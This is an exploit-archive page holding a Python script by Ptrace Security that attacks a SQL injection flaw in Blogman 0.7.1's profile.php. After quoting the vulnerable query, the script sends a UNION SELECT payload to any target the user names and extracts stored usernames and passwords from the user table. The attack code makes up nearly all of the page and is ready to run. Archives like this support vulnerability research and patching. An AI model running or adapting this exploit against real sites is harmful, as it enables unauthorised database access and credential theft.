what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Blogman 0.7.1 SQL Injection

Blogman 0.7.1 SQL Injection
Posted Aug 30, 2010
Authored by Ptrace Security

Blogman version 0.7.1 suffers from a remote SQL injection vulnerability in profile.php.

tags | exploit, remote, php, sql injection
SHA-256 | 135e2bf1f74d12fe3131e0915467b8bda02fda76b726fbca0ca94246a96a1776

Blogman 0.7.1 SQL Injection

Change Mirror Download
#!/usr/bin/python
#
# Exploit Title: Blogman v0.7.1 (profile.php) SQL Injection Exploit
# Date : 28 August 2010
# Author : Ptrace Security (Gianni Gnesa [gnix])
# Contact : research[at]ptrace-security[dot]com
# Software Link: http://sourceforge.net/projects/blogman/
# Version : 0.7.1
# Tested on : EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + profile.php => SQL Injection!!
#
# 6: $query = "SELECT * FROM ".$GLOBALS['dbTablePrefix']."user WHERE
# UserID='".$_GET['id']."'";
# 7: $profileuser = mysql_fetch_array(mysql_query($query));
#
# + profile.php => The query showed above returns a 16-columns table. UserName,
# which is the 2nd column's name, is used few line after the query to display
# the information extracted.
#
# 12: echo $profileuser['UserName']."</p>\n";
#

import re
import sys
import http.client
import urllib.parse


def usage(prog):
print('Usage : ' + prog + ' <target> <path> <user_id>\n')
print('Example: ' + prog + ' localhost /blogman/ 2')
print(' ' + prog + ' www.example.com /complete/path/ 1')
return


def exploit(target, path, userid):
payload = 'profile.php?id=-1%27%20UNION%20SELECT%20NULL,%20CONCAT(%27%3C1'
payload += '%3E%27,UserName,%27:%27,UserPassword,%27%3C2%3E%27),%20NULL,%20'
payload += 'NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,'
payload += '%20NULL,%20NULL,%20NULL,%20NULL,%20NULL%20FROM%20blogman_user'
payload += '%20WHERE%20UserID=%27' + str(userid) + '%27%20--%20%27'

print('[+] Sending HTTP Request')
con = http.client.HTTPConnection(target)
con.request('GET', path + payload)
res = con.getresponse()

if res.status != 200:
print('[!] HTTP GET request failed.')
exit(1)

print('[+] Parsing HTTP Response')
data = res.read().decode()
pattern = re.compile(r"<1>(.+?)<2>", re.M)
m = pattern.search(data)

if m:
print('[+] Information Extracted:\n')
print(m.group()[3:-3])
else:
print('[!] No information found')

return


print('\n+-----------------------------------------------------------------------+')
print('| Blogman v0.7.1 (profile.php) SQL Injection Exploit by Ptrace Security |')
print('+-----------------------------------------------------------------------+\n')

if len(sys.argv) != 4:
usage(sys.argv[0])
else:
exploit(sys.argv[1], sys.argv[2], sys.argv[3])

exit(0)

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close